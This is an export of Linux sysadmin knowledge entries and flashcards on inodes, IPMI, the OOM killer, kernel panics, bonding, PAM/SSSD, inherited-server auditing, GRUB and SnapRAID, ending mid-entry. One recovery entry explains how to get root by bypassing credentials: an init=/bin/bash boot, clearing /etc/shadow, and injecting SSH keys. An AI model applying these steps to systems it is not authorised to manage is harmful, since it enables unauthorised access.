Each symlink consumes its own inode, regardless of the target's size or location. Unlike hard links, which point to the same inode, symlinks are separate metadata entries. A script creating one symlink per processed file will exhaust inodes while consuming almost no disk space, especially if run continuously over months. Hard links avoid this waste when both source and target live on the same filesystem, because they reference the same inode. Remedies: use hard links instead of symlinks when possible, clean up old symlinks periodically, and monitor <html><code>df -i</code></html> alongside <html><code>df -h</code></html> to catch inode creep early.
----
''Sources''
* <html><code>training/library/topics/inodes/footguns.md</code></html>
''Related atoms''
* [[Inode exhaustion prevents file creation despite free disk space]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[True or False? You can create a soft link between different filesystems.]]
Disk space monitoring typically alerts on block usage (e.g., 80% and 90% full) but often omits inode usage. A filesystem can hit 100% inode utilization at 60% block capacity, causing silent application failures until someone manually checks <html><code>df -i</code></html>. No alert fires because block-centric monitoring is blind to inode pressure. Inode exhaustion prevention requires adding alerts for inode usage with the same thresholds as block usage. Most monitoring systems export inode metrics — Prometheus node_exporter exposes <html><code>node_filesystem_files_free</code></html> — so the fix is simple alerting configuration, not infrastructure change.
----
''Sources''
* <html><code>training/library/topics/inodes/footguns.md</code></html>
''Related atoms''
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[What is inode exhaustion?]]
* [[Not checking disk space before large writes crashes services]]
Incremental backups using <html><code>rsync --link-dest</code></html> deduplicate identical files by creating hard links that share a single inode. This saves both space and inodes across snapshots. However, copying (rather than moving) a hard-link-based backup to another filesystem breaks the optimization: the copy creates a new inode for every file, tripling inode consumption and negating the space savings. To preserve hard links during transfer, use <html><code>rsync -aH</code></html> (which preserves hard-link relationships) or <html><code>cp -al</code></html> (which copies by creating hard links). Understanding that hard links only work within a single filesystem is essential for backup and archival workflows.
----
''Sources''
* <html><code>training/library/topics/inodes/footguns.md</code></html>
''Related atoms''
* [[Hard links vs symbolic links: inode perspective]]
* [[Symlinks consume inodes independent of target size]]
* [[True or False? You can create a soft link between different filesystems.]]
After a crash or unclean shutdown, ext4 replays the journal to recover uncommitted transactions. During replay, inodes that were being modified when the system failed may remain allocated but not associated with any visible file. <html><code>df -i</code></html> shows these inodes as in-use, but <html><code>find</code></html> cannot locate corresponding files. Running <html><code>fsck</code></html> on the unmounted or read-only filesystem cleans up orphaned inodes and moves file fragments to <html><code>lost+found</code></html>. Orphaned inodes prevent new file creation even though the inode count appears to have free space.
----
''Sources''
* <html><code>training/library/topics/inodes/footguns.md</code></html>
''Related atoms''
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[What causes sudden disk full with "no files"?]]
* [[Deleted open files hold disk space until last fd closes]]
User-space IPMI tools like <html><code>ipmitool sensor list</code></html> fail with "Could not open device at /dev/ipmi0" if kernel modules aren't loaded. Most Linux distributions don't load <html><code>ipmi_devintf</code></html> and <html><code>ipmi_si</code></html> by default — even though the hardware BMC is present. The error feels like a tooling bug, but the real issue is missing kernel infrastructure.
This usually surfaces after provisioning when you assume IPMI will just work.
The fix is to load the modules during provisioning kickstart or cloud-init. Add to <html><code>%post</code></html>:
<html><pre><code class="language-bash">modprobe ipmi_devintf
modprobe ipmi_si
echo "ipmi_devintf" >> /etc/modules-load.d/ipmi.conf
echo "ipmi_si" >> /etc/modules-load.d/ipmi.conf</code></pre></html>
Verify with <html><code>ls /dev/ipmi0</code></html>. If the modules load but the device doesn't appear, the BMC likely isn't enabled in BIOS settings — look for 'IPMI BMC' or 'IPMI over KCS' and enable it.
----
''Sources''
* <html><code>training/library/topics/ipmi-and-ipmitool/footguns.md</code></html>
When running ipmitool locally without a <html><code>-H</code></html> flag, it communicates with the BMC through the Linux kernel's IPMI device driver interface. Load the kernel modules with <html><code>modprobe ipmi_devintf</code></html> (creates <html><code>/dev/ipmi0</code></html>) and <html><code>modprobe ipmi_si</code></html> (loads the system interface driver). The <html><code>ipmi_si</code></html> driver auto-detects the BMC's hardware interface type: KCS (Keyboard Controller Style, most common, uses I/O ports), SMIC (older, rarely seen), or BT (Block Transfer, newer, faster). The kernel modules can be verified with <html><code>lsmod | grep ipmi</code></html> and the device with <html><code>ls -l /dev/ipmi0</code></html>. If modules fail to load, check BIOS settings—some systems require "IPMI over KCS" explicitly enabled in UEFI. In-band IPMI access via <html><code>/dev/ipmi0</code></html> is faster than network-based access and doesn't require BMC network connectivity, but it requires the modules to be loaded and the server to be powered on with a running kernel. When the OS is hung or unresponsive, network access (<html><code>ipmitool -I lanplus</code></html>) is necessary because the kernel driver won't be functional.
----
''Sources''
* <html><code>training/library/topics/ipmi-and-ipmitool/primer.md</code></html>
The Linux kernel assigns each process an OOM kill score equal to its <html><code>oom_score</code></html> (resident set size as a fraction of total system memory) plus its <html><code>oom_score_adj</code></html> (range -1000 to 1000, stored in <html><code>/proc/<pid>/oom_score_adj</code></html>). When memory is exhausted, the process with the highest combined score is killed first. A value of -1000 makes a process immune; +1000 makes it the most likely target.
Kubernetes sets <html><code>oom_score_adj</code></html> automatically based on a pod's QoS class: Guaranteed pods (requests == limits for all containers) receive -997 and are killed last; Burstable pods (requests < limits, or partial) receive 2–999 scaled proportionally by memory request ratio and are killed second; BestEffort pods (no requests or limits) receive 1000 and are killed first.
Under node-level memory pressure, the kernel evaluates all processes across all pods — not just the container that exceeded its own limit. This is why correct QoS class assignment is protective: a Guaranteed pod is the last to be sacrificed even if another pod on the same node causes the exhaustion.
To investigate OOM events: search <html><code>dmesg</code></html> for "invoked oom-killer" to find the triggering allocation and see the killed process's total-vm and anon-rss; check <html><code>/proc/meminfo</code></html> for current pressure; scan <html><code>/proc/<pid>/oom_score</code></html> to predict the next victim. In Kubernetes, <html><code>kubectl describe pod</code></html> shows <html><code>Reason: OOMKilled</code></html> in Last State; exit code 137 (128 + SIGKILL) confirms an OOM kill. Critical non-Kubernetes processes can be protected by writing a negative value directly to their <html><code>/proc/<pid>/oom_score_adj</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/k8s-troubleshooting.tsv</code></html>
* <html><code>training/library/topics/kernel-troubleshooting/street_ops.md</code></html>
* <html><code>training/library/topics/oomkilled/primer.md</code></html>
* <html><code>training/library/topics/oomkilled/trivia.md</code></html>
//Merged from 4 source atoms.//
''Related atoms''
* [[Linux OOM killer: scoring, victim selection, and mitigation]]
When a kernel module causes system instability, a standard investigation sequence reveals the problem. List all loaded modules with <html><code>lsmod</code></html>, then inspect details of a suspect module using <html><code>modinfo</code></html> (static metadata) or <html><code>systool</code></html> (live parameters). Extract module-specific kernel messages from dmesg to find error conditions. Before unloading, verify the module is not in active use — <html><code>modprobe -r</code></html> removes it from memory. To prevent a problematic module from loading on future boots, add it to a modprobe blacklist file, then rebuild the initramfs (the compressed root filesystem loaded at boot). This forces the kernel to skip the module during early boot, avoiding the problem entirely. For debugging a module's behavior, load it with debug parameters enabled (<html><code>modprobe module_name debug=1</code></html>) to increase verbosity in kernel logs.
----
''Sources''
* <html><code>training/library/topics/kernel-troubleshooting/street_ops.md</code></html>
''Related atoms''
* [[Breaking kernel panic reboot loops by halting instead of restarting]]
* [[You need to debug a kernel panic that only happens under heavy load. What do you config…]]
* [[Proactive kernel health monitoring via cron-scheduled alerts]]
When a system enters a reboot loop—panics, restarts via the <html><code>panic=N</code></html> kernel parameter, hits the same bug, panics again—you cannot SSH in or inspect the problem. The solution is to boot into GRUB and temporarily change kernel parameters to halt on panic instead of rebooting. Editing the kernel line and appending <html><code>panic=0</code></html> causes the system to freeze at the panic message rather than reboot, allowing you to read the panic output on the console via IPMI or serial access. If the panic is caused by a specific kernel module, additionally pass <html><code>modprobe.blacklist=module_name</code></html> to prevent it from loading. For panics during early boot before rescue tools are available, boot into rescue mode via GRUB (add <html><code>systemd.unit=rescue.target</code></html> to the kernel line) or use rescue media like an installation ISO.
----
''Sources''
* <html><code>training/library/topics/kernel-troubleshooting/street_ops.md</code></html>
''Related atoms''
* [[You need to debug a kernel panic that only happens under heavy load. What do you config…]]
* [[What is a "Kernel Panic" and how do you debug it post-mortem?]]
* [[Walk through the Linux boot process.]]
Kdump captures kernel memory to disk for post-mortem analysis, but requires a kernel reserved for the dump process itself. The <html><code>crashkernel=</code></html> boot parameter reserves this memory; if too small, the crash kernel fails to boot and the dump is lost. Recommended sizes scale with RAM: systems under 4 GB use <html><code>crashkernel=128M</code></html>, 4–64 GB use <html><code>256M</code></html>, 64 GB–1 TB use <html><code>512M</code></html>, and over 1 TB use <html><code>1G</code></html>. Verify the current reservation by checking <html><code>/proc/cmdline</code></html> (bootloader parameter) and <html><code>/proc/iomem</code></html> (actual memory allocation). Testing kdump properly requires triggering a panic during maintenance (write <html><code>c</code></html> to <html><code>/proc/sysrq-trigger</code></html> to force a crash), after which kdump should capture the dump to <html><code>/var/crash/</code></html> and the system reboots. This is destructive and should only be done in a controlled window.
----
''Sources''
* <html><code>training/library/topics/kernel-troubleshooting/street_ops.md</code></html>
''Related atoms''
* [[How do you configure kdump for remote crash dump storage, and what does the dump level …]]
* [[You need to debug a kernel panic that only happens under heavy load. What do you config…]]
* [[Proactive kernel health monitoring via cron-scheduled alerts]]
Kernel problems often show warning signs in dmesg before they become critical. A monitoring strategy polls <html><code>dmesg</code></html> every few minutes for error-level and above messages, extracts soft lockups and OOM kills by pattern matching, and logs findings to syslog for aggregation. Check the kernel taint flag (<html><code>/proc/sys/kernel/tainted</code></html>) periodically—a non-zero value indicates the kernel has loaded proprietary modules, hit a warning, or failed an assertion. Verify kdump is operational with <html><code>kdumpctl status</code></html> to catch breakage before a panic occurs. This approach catches signature problems (soft lockup, OOM events) early without overwhelming logs; the monitoring tool can page on-call if counts spike, giving the team time to investigate before the system becomes unstable.
----
''Sources''
* <html><code>training/library/topics/kernel-troubleshooting/street_ops.md</code></html>
''Related atoms''
* [[How do you view kernel messages with human-readable timestamps and filter for errors?]]
* [[What is kdump and how does it capture crash dumps during a kernel panic?]]
* [[dmesg contains the definitive OOM killer diagnostic information]]
Mode 1 (active-backup) provides simple redundancy without requiring switch configuration. One link is active at a time; others are standby and promoted on failure. Useful when switch LAG configuration is unavailable or for single-vendor server-to-switch links where simplicity is preferred over aggregate throughput. Mode 4 (802.3ad/LACP) requires the switch to be configured for LACP aggregation but provides aggregate throughput by distributing flows across multiple links. The tradeoff is clear: mode 1 sacrifices bandwidth for simplicity; mode 4 requires more coordination but scales better. Configuration is straightforward: <html><code>ip link add bond0 type bond mode 802.3ad</code></html>, then set <html><code>lacp_rate fast</code></html> and <html><code>xmit_hash_policy layer3+4</code></html> for production use. Persistent configuration via systemd-networkd uses <html><code>.netdev</code></html> and <html><code>.network</code></html> files.
----
''Sources''
* <html><code>training/library/topics/lacp/primer.md</code></html>
''Related atoms''
* [[What is the most common bonding mode in production?]]
The Linux bonding driver (bond0) implements modes 0–6: balance-rr (round-robin), active-backup, balance-xor, broadcast, 802.3ad (LACP), balance-tlb (transmit load balance), and balance-alb (adaptive load balance). Only mode 4 implements actual LACP negotiation. Mode 0 (round-robin) distributes per-packet, causing out-of-order delivery that destroys TCP throughput. Mode 1 (active-backup) sacrifices half the bandwidth for simplicity. The choice of bonding mode has significant operational consequences and is frequently overlooked during server configuration.
----
''Sources''
* <html><code>training/library/topics/lacp/trivia.md</code></html>
''Related atoms''
* [[What is the most common bonding mode in production?]]
Linux authentication is a layered system. PAM (Pluggable Authentication Modules, <html><code>/etc/pam.d/</code></html>) checks credentials. NSS (Name Service Switch, <html><code>/etc/nsswitch.conf</code></html>) maps identities (uid to username). SSSD (System Security Services Daemon, <html><code>/etc/sssd/sssd.conf</code></html>) caches and relays queries to LDAP, Active Directory, or FreeIPA.
PAM control flags determine module stacking behavior: requisite immediately rejects on failure, required records failure but continues, sufficient skips remaining modules on success, optional only matters if it's the sole module. Flag placement is critical — a sufficient flag on pam_sss.so before pam_unix.so means LDAP-only users fail when SSSD is down, but local users still log in. Reversing the order inverts the problem.
NSS lists providers in priority: <html><code>passwd: files sss</code></html> means check <html><code>/etc/passwd</code></html> first, then ask SSSD. SSSD handles authentication against LDAP (password checking), identity lookups (uid→username), Kerberos ticket management, and offline caching so machines work when the LDAP server is unreachable. SSSD requires <html><code>/etc/sssd/sssd.conf</code></html> to be mode 0600 (world-unreadable) and specifies LDAP server, search base, TLS certificates, and cache timeouts. Debug output goes to <html><code>/var/log/sssd/sssd_<domain>.log</code></html>; debug_level changes require SSSD restart, not SIGHUP.
----
''Sources''
* <html><code>training/library/topics/ldap-identity/primer.md</code></html>
''Related atoms''
* [[SSSD logging requires explicit debug level configuration]]
* [[PAM modular framework: service config, types, and controls]]
* [[Common PAM modules for authentication, policy, and hardening]]
SSSD's default logging is minimal and unhelpful for troubleshooting. To diagnose identity or authentication issues, set debug_level in <html><code>/etc/sssd/sssd.conf</code></html> for the relevant sections (domain, nss, pam). A level of 6 is typical. After changing the config, restart SSSD with <html><code>systemctl restart sssd</code></html>, then check logs in <html><code>/var/log/sssd/</code></html>. The main daemon log is <html><code>sssd.log</code></html>; domain-specific issues appear in <html><code>sssd_<domain>.log</code></html>; NSS issues in <html><code>sssd_nss.log</code></html>; PAM in <html><code>sssd_pam.log</code></html>. Remember to reduce debug_level afterward — high levels generate enormous logs that fill disk quickly.
----
''Sources''
* <html><code>training/library/topics/ldap-identity/street_ops.md</code></html>
''Related atoms''
* [[Linux authentication flows through PAM, NSS, and SSSD to identity providers]]
When access to an inherited server is first granted, inventory before changing anything. Start with identity: hostname, OS version, uptime, when it last booted, kernel age. Map purpose: which services are running, what ports are they listening on, where are they sending traffic. Identify customizations: recent package installs, <html><code>/opt</code></html> and <html><code>/srv</code></html> contents, local configs. Document history: recent logins, active home directories, root's recent files. Discover scheduled work: crontabs, systemd timers, what they run. Locate and size logs: <html><code>/var/log</code></html> activity tells you which components are noisy or active. This baseline prevents blind assumptions about purpose and surfaces dependencies that could break silently. The one-liner <html><code>lsof -i -P -n | awk '{print $1, $9}' | sort -u</code></html> shows every process with network activity — a quick map of the system's external footprint.
----
''Sources''
* <html><code>training/library/topics/legacy-archaeology/street_ops.md</code></html>
''Related atoms''
* [[Systematic discovery of service interdependencies]]
* [[Your first 5 commands on a *nix server after login.]]
Multiple candidate config files can exist: <html><code>/etc/myapp/config.yml</code></html>, <html><code>/opt/myapp/conf/app.conf</code></html>, environment variable overrides, systemd unit file flags, or hardcoded defaults. A sysadmin may change the wrong file and see no effect, wasting hours troubleshooting. Always verify the actual source of truth: check the process command-line in <html><code>/proc/PID/cmdline</code></html>, examine systemd unit <html><code>ExecStart=</code></html> lines for <html><code>--config</code></html> or <html><code>-c</code></html> flags, scan environment variables in <html><code>/proc/PID/environ</code></html>, and use <html><code>lsof</code></html> to see which config files the process actually has open. The process itself is the ground truth; the files on disk are secondary.
----
''Sources''
* <html><code>training/library/topics/legacy-archaeology/street_ops.md</code></html>
''Related atoms''
* [[systemd services inherit isolated environment from startup files]]
* [[/proc/[pid]/fd reveals all open file descriptors for a process]]
* [[How do you debug a service that won't start?]]
A cron job that appears insignificant — like <html><code>curl http://localhost:8080/internal/cleanup</code></html> running hourly — may be the only thing preventing unbounded data growth, leaked connections, or disk filling. An engineer who disables it to "see what happens" discovers the consequence only after a week of degradation, when the database table has grown to 50 million rows and disk is nearly full. Before disabling any scheduled task: read the script or command, trace URL endpoints to understand what they do, check <html><code>/var/mail</code></html> and syslog for recent output, search logs for its name and recent success. Disable by commenting with a timestamp and reason, never by deleting. An unknown cron job is a hidden dependency on borrowed time.
----
''Sources''
* <html><code>training/library/topics/legacy-archaeology/street_ops.md</code></html>
''Related atoms''
* [[Developer added cron job which generate massive log files. How do you prevent them from…]]
A personal user account may actually run deployment, backup, or monitoring infrastructure — identifiable only by crontabs, systemd services, SSH keys, and file ownership in <html><code>/opt</code></html> and <html><code>/srv</code></html>. An engineer who disables the account "jsmith" because the person left two years ago silently breaks infrastructure: deployments fail, backups don't run, monitoring stops. Before disabling any account, check for crontabs, running systemd services under that user, SSH authorized_keys on remote systems that depend on the account's keys, and files owned by that user outside their home directory. The proper procedure is to create a dedicated service account, migrate all dependencies, then disable the personal account. The account name and the person are not always the same entity.
----
''Sources''
* <html><code>training/library/topics/legacy-archaeology/street_ops.md</code></html>
''Related atoms''
* [[Service account setup isolates privilege and protects secrets]]
* [[How to add a new user to the system without providing a password?]]
* [[Do you know how to create a new user without using adduser/useradd command?]]
An automated script can build the dependency graph: systemd service <html><code>After=</code></html> directives, network listeners and their peers, mount points, cron job triggers, and DNS resolution targets. The output is a directed graph showing which services depend on which, which external systems they contact, which filesystems they require, and which cron jobs maintain which data structures. This graph surfaces single points of failure (one service everyone depends on), external dependencies (remote systems we break if they fail), and chains of cascading breakage (service A fails, B times out, C fills disk because B can't clean). The script covers <html><code>systemctl list-units</code></html>, <html><code>ss -tlnp</code></html> and <html><code>ss -tnp</code></html> for listeners and peers, <html><code>systemctl show</code></html> for dependencies, <html><code>findmnt</code></html> for mounts, and DNS configuration. A visual rendering of this graph is invaluable for incident response and capacity planning.
----
''Sources''
* <html><code>training/library/topics/legacy-archaeology/street_ops.md</code></html>
''Related atoms''
* [[First-contact reconnaissance of an unknown server]]
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
* [[systemd standardizes service and process management across distros]]
You made a change to a system you do not fully understand. Something broke. Do not try to "fix forward" by making more changes — stop immediately and recover to a known state. First, look for backups: did you copy the config before changing it, does the package manager have the original (<html><code>rpm -qf</code></html> or <html><code>dpkg -V</code></html>), is there config management with the previous state? Check revision control: if <html><code>etckeeper</code></html> is installed, you have the full git history of <html><code>/etc</code></html> — run <html><code>cd /etc && git log --oneline -20</code></html> to see all changes and timestamps. Check the system journal (<html><code>journalctl -u myservice</code></html>) for error messages that reveal what config values failed. If available, compare with another server running the same service — the diff shows what you changed. <html><code>etckeeper</code></html> is the single most valuable archaeology tool on inherited servers. After recovery, document the previous state, what you changed, what broke, how you recovered, and what you should have done instead.
----
''Sources''
* <html><code>training/library/topics/legacy-archaeology/street_ops.md</code></html>
''Related atoms''
* [[Many basic maintenance tasks require you to edit config files. Explain ways to undo the…]]
* [[Root cause: config changes without backup lose original content]]
If root password and SSH keys are inaccessible: first check whether config management (Ansible, Puppet) still has access — <html><code>ansible <hostname> -m ping</code></html>. Check if LDAP or SSO credentials work. If you have physical or console access, boot into single-user mode by editing GRUB (<html><code>init=/bin/bash</code></html>) and reset the password. For VMs, mount the disk on another instance and edit <html><code>/etc/shadow</code></html> to clear the root password, or inject your SSH key into <html><code>/root/.ssh/authorized_keys</code></html>. For cloud instances, use the provider's serial console or create a snapshot, launch a new instance, and mount the disk. After access is restored, rotate all passwords and keys, audit who has access, set up proper credential management (password vault, SSH key rotation), and document the recovery procedure for the next inherited server. Lock-out situations are preventable with process; they require planning before inheritance begins.
----
''Sources''
* <html><code>training/library/topics/legacy-archaeology/street_ops.md</code></html>
''Related atoms''
* [[Emergency root access recovery via GRUB single-user and cloud recovery]]
Boot progresses through discrete stages: (1) Firmware (BIOS/UEFI) performs hardware initialization and loads the bootloader; (2) Bootloader (GRUB2) loads the kernel and initramfs into memory; (3) Kernel initialization begins with hardware detection and driver loading while the initramfs is mounted; (4) initramfs provides early userspace where the real root filesystem is located; (5) init system (systemd or SysV) starts system services and reaches the target runlevel; (6) login prompt appears (getty, display manager, or SSH). Each stage is a dependency of the next. A failure at any stage halts the entire boot sequence. Understanding which stage is failing is the first step in diagnosing boot problems.
----
''Sources''
* <html><code>training/library/topics/linux-boot-process/primer.md</code></html>
''Related atoms''
* [[Walk through the Linux Boot Process (High Level).]]
* [[How does Linux boot, end to end?]]
* [[What are the stages of GRUB2 boot loading?]]
When a kernel update fails to boot, GRUB retains the previous kernel in its boot menu. At the GRUB prompt, selecting "Advanced options" exposes prior kernel versions; booting an older known-good kernel restores system functionality.
To make the rollback permanent, identify the working kernel version (via <html><code>uname -r</code></html> once booted), then direct GRUB to default to that entry. The configuration lives in <html><code>/etc/default/grub</code></html> under <html><code>GRUB_DEFAULT</code></html>, which accepts either a human-readable menu entry name or numeric indices separated by <html><code>></code></html> for nested menus (e.g., <html><code>1>2</code></html> means submenu 1, entry 2). After editing, run <html><code>sudo update-grub</code></html> to regenerate the bootloader configuration.
Once stable on the old kernel, remove the broken kernel package (<html><code>linux-image-*</code></html> on Debian, <html><code>kernel-*</code></html> on RHEL) to free <html><code>/boot</code></html> space and prevent accidental future selection. This is critical if <html><code>/boot</code></html> is small (477M is common) — kernel images consume roughly 50–100MB each.
----
''Sources''
* <html><code>training/library/topics/linux-boot-process/street_ops.md</code></html>
''Related atoms''
* [[Diagnosing and recovering from a full /boot partition]]
* [[How do you recover GRUB when the system won't boot?]]
* [[How do you pass kernel boot parameters?]]
systemd's journal records shutdown events, crashes, and kernel messages with sufficient detail to distinguish between clean shutdown, unclean crash, and specific failure modes. Investigating the previous boot requires <html><code>journalctl -b -1</code></html> (boot index -1 = last boot before current).
The failure mode is revealed by filtering: <html><code>-p crit</code></html> (critical severity), <html><code>-k</code></html> (kernel messages), and <html><code>--grep</code></html> patterns for specific signatures — <html><code>oom</code></html> (out-of-memory kill), <html><code>panic|segfault|watchdog</code></html> (kernel hang or watchdog timeout), <html><code>hardware error|mce|GHES</code></html> (memory/ECC errors from BIOS), <html><code>NMI|lockup</code></html> (CPU watchdog timeouts). The <html><code>last -x reboot shutdown crash</code></html> command shows system state transitions; a "crash" entry indicates unclean shutdown.
<html><code>journalctl --list-boots</code></html> displays all available boots with their timestamps and durations, making it easy to identify anomalously short uptimes. The notation <html><code>0 jkl...</code></html> means the current boot; negative indices reference prior boots.
----
''Sources''
* <html><code>training/library/topics/linux-boot-process/street_ops.md</code></html>
''Related atoms''
* [[Detecting and recovering from corrupted systemd journal files]]
* [[journalctl: primary tool for querying the systemd journal]]
* [[Explain the purpose of dmesg vs journalctl.]]
The /boot partition (typically 477MB) can fill when kernel images accumulate faster than old ones are removed. This prevents new kernel installation, initramfs regeneration, and GRUB updates — making security patching impossible until space is recovered.
Diagnosis is straightforward: <html><code>df -h /boot</code></html> shows usage, and <html><code>dpkg --list 'linux-image-*'</code></html> (Debian) or <html><code>rpm -qa kernel</code></html> (RHEL) lists installed kernels. The fix is to remove old versions, but the current running kernel (verified via <html><code>uname -r</code></html>) must never be deleted. Keep the current kernel plus one fallback for safety.
If the partition is already full and package tools fail, manual deletion of old kernel files works: <html><code>rm /boot/{vmlinuz,initrd.img,System.map,config}-old-version</code></html>, then run <html><code>apt-get -f install</code></html> to clean package state. Prevention uses automatic kernel pruning: set <html><code>Unattended-Upgrade::Remove-Unused-Kernel-Packages "true"</code></html> on Debian or <html><code>installonly_limit=3</code></html> on RHEL to keep only the N newest kernels.
----
''Sources''
* <html><code>training/library/topics/linux-boot-process/street_ops.md</code></html>
''Related atoms''
* [[How do you diagnose and recover from a full filesystem?]]
* [[What can you find in /boot?]]
* [[Recovering from failed kernel update via GRUB rollback]]
The Basic Input/Output System was created by Gary Kildall for CP/M in 1975 and adopted by IBM for the PC in 1981. It remained the dominant firmware interface for nearly 40 years — UEFI began replacing it in 2005, but major vendors did not officially deprecate BIOS boot until around 2020. This exceptional longevity created deep compatibility layers, a massive installed base resistant to change, and a culture where BIOS remained the default assumption in system administration. Legacy systems and devices still rely on BIOS boot.
----
''Sources''
* <html><code>training/library/topics/linux-boot-process/trivia.md</code></html>
''Related atoms''
* [[What is BIOS?]]
* [[What is UEFI?]]
GRUB2 (GRand Unified Bootloader 2) is the default Linux bootloader and, in practice, a minimal operating system in its own right. Before the Linux kernel starts, GRUB2 can read and parse filesystems (ext4, XFS, Btrfs, NTFS), execute a scripting language, present an interactive shell, download kernels over the network, and dynamically load modules.
Core functions:
* Load the kernel and initramfs into memory
* Present a boot menu for multiple OS and kernel versions
* Chain-load other bootloaders
Key files:
* <html><code>/boot/grub/grub.cfg</code></html> — generated configuration; do not edit directly
* <html><code>/etc/default/grub</code></html> — user-facing settings
* <html><code>/etc/grub.d/</code></html> — menu-entry scripts consumed by grub-mkconfig
Key commands:
* <html><code>grub-install</code></html> — write GRUB2 to the boot device
* <html><code>grub-mkconfig</code></html> — regenerate grub.cfg from <html><code>/etc/default/grub</code></html> and <html><code>/etc/grub.d/</code></html>
* <html><code>update-grub</code></html> — Debian/Ubuntu wrapper for grub-mkconfig
<html><code>grub.cfg</code></html> is auto-generated rather than hand-edited because the full feature set — filesystem drivers, conditional logic, module loading — makes reliable manual maintenance impractical. GRUB2's complexity is the reason the configuration toolchain exists at all.
----
''Sources''
* <html><code>training/library/topics/linux-boot-process/trivia.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is GRUB2?]]
* [[What are the stages of GRUB2 boot loading?]]
* [[What is GRUB2's main configuration file?]]
Q: What does JBOD stand for, and why do data hoarders prefer it over traditional RAID?
A: JBOD = Just a Bunch of Disks. Each drive is an independent filesystem combined via a union filesystem (mergerfs). Advantages over RAID: mix any drive sizes, add one drive at a time, any single drive is readable on its own, and a failed drive only loses the files physically on that drive.
Mnemonic: "JBOD = Just Buy One Drive" — you scale one drive at a time, not matching sets.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What are the pros and cons of ZFS for data hoarding compared to the JBOD+mergerfs+SnapR…]]
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
* [[What does "dd" stand for?]]
Q: What is SnapRAID and how does it differ from real-time RAID?
A: SnapRAID is a snapshot parity tool created by Andrea Mazzoleni (2011, GPLv3). Unlike real-time RAID, SnapRAID computes parity on a schedule (typically daily via cron). Between syncs, newly added files have NO parity protection.
This makes it ideal for write-once-read-many workloads (media libraries) but wrong for databases or VMs with high write churn.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What is snapraid-runner and why use it instead of bare cron?]]
* [[What is the correct relationship between SnapRAID parity and backups?]]
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
Q: What is the most critical rule about the parity drive in SnapRAID?
A: The parity drive must be at least as large as the largest data drive. If your biggest data drive is 12TB, the parity drive must be >= 12TB. SnapRAID stores one parity block per data block, so it needs capacity equal to the largest single drive.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
* [[What is the correct relationship between SnapRAID parity and backups?]]
* [[What does `snapraid sync` do, and when should you run it?]]
Q: What is SnapRAID split parity (v11.0+) and when would you use it?
A: Split parity allows a single parity level to span multiple smaller drives using comma-separated paths: <html><code>parity /mnt/p1/snap.parity,/mnt/p2/snap.parity</code></html>. The next file starts growing when the previous one fills up.
Use case: you have two 8TB drives but your largest data drive is 12TB. Split parity combines them into one 16TB parity target, satisfying the "parity >= largest data drive" requirement.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
* [[What does `snapraid sync` do, and when should you run it?]]
* [[What is the correct relationship between SnapRAID parity and backups?]]
Q: What does <html><code>snapraid sync</code></html> do, and when should you run it?
A: <html><code>snapraid sync</code></html> reads all data drives, computes parity blocks, and writes them to the parity drive(s). Run it daily via cron. Between syncs, newly added files have zero parity protection.
Always run <html><code>snapraid diff</code></html> first (or use snapraid-runner) to check for unexpected mass deletions before syncing.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What happens if a drive fails to mount before running `snapraid sync`?]]
* [[What does `snapraid scrub` do and what is the default scrub percentage?]]
* [[What is the correct relationship between SnapRAID parity and backups?]]
Q: What is snapraid-runner and why use it instead of bare cron?
A: snapraid-runner (by Chronial) is a Python wrapper that adds safety checks to automated SnapRAID syncs. Key feature: it runs <html><code>snapraid diff</code></html> first and aborts if deletions exceed a configurable threshold (deletethreshold). This prevents parity destruction when a drive fails to mount and SnapRAID sees all its files as "deleted."
GitHub: github.com/Chronial/snapraid-runner
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What is SnapRAID and how does it differ from real-time RAID?]]
* [[What happens if a drive fails to mount before running `snapraid sync`?]]
* [[What does `snapraid scrub` do and what is the default scrub percentage?]]
Q: What does <html><code>snapraid scrub</code></html> do and what is the default scrub percentage?
A: <html><code>snapraid scrub</code></html> verifies data integrity by reading data blocks and comparing checksums. The default scrub verifies ~8% of data per run. Running weekly, this covers all data roughly once every 12 weeks.
Use <html><code>snapraid scrub -p 100</code></html> for a full verification, but only when needed — it reads every block on every drive.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What does `snapraid sync` do, and when should you run it?]]
* [[What is SnapRAID and how does it differ from real-time RAID?]]
* [[What is snapraid-runner and why use it instead of bare cron?]]
Q: How do you recover files from a failed drive using SnapRAID?
A: 1. Mount the replacement drive at the same mount point
# Run: <html><code>snapraid fix -d d3</code></html> (replace d3 with the failed drive label)
# Verify: <html><code>snapraid check -d d3</code></html>
# Update parity: <html><code>snapraid sync</code></html>
SnapRAID reconstructs files from parity data on the remaining drives. Expected time: 4-12 hours for a full drive.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What happens if a drive fails to mount before running `snapraid sync`?]]
* [[What is the correct relationship between SnapRAID parity and backups?]]
* [[What does `snapraid sync` do, and when should you run it?]]
Q: How many parity levels does SnapRAID support, and what does each level provide?
A: SnapRAID supports 1 through 6 parity levels (configured as parity, 2-parity, 3-parity, etc.). Each level adds tolerance for one additional simultaneous disk failure:
